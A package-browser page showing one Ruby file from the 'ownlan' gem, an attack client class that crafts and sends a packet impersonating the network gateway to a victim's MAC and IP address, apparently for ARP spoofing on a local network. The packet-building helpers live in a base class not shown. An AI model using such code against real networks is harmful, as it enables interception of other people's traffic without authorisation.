Sha256: 3b9ad9040b4a7d2337d3707f2164defd5366a9b4cd1896d69aa7deed426c9486

Contents?: true

Size: 488 Bytes

Versions: 6

Compression:

Stored size: 488 Bytes

Contents

module Ownlan
  module Attack
    class Client < Base

      def process
        generate_packet

        send_packet
      end

      def generate_packet(target_ip = nil)
        gw_ip    = ServiceObjects::NetworkInformation.gateway_ip

        saddr    = config.source_mac
        daddr    = config.victim_mac || victim_mac
        saddr_ip = gw_ip
        daddr_ip = victim_ip


        @crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
      end
    end
  end
end

Version data entries

6 entries across 6 versions & 1 rubygems

Version Path
ownlan-0.4.6 lib/ownlan/attack/client.rb
ownlan-0.4.4 lib/ownlan/attack/client.rb
ownlan-0.4.3 lib/ownlan/attack/client.rb
ownlan-0.4.2 lib/ownlan/attack/client.rb
ownlan-0.4.1 lib/ownlan/attack/client.rb
ownlan-0.4.0 lib/ownlan/attack/client.rb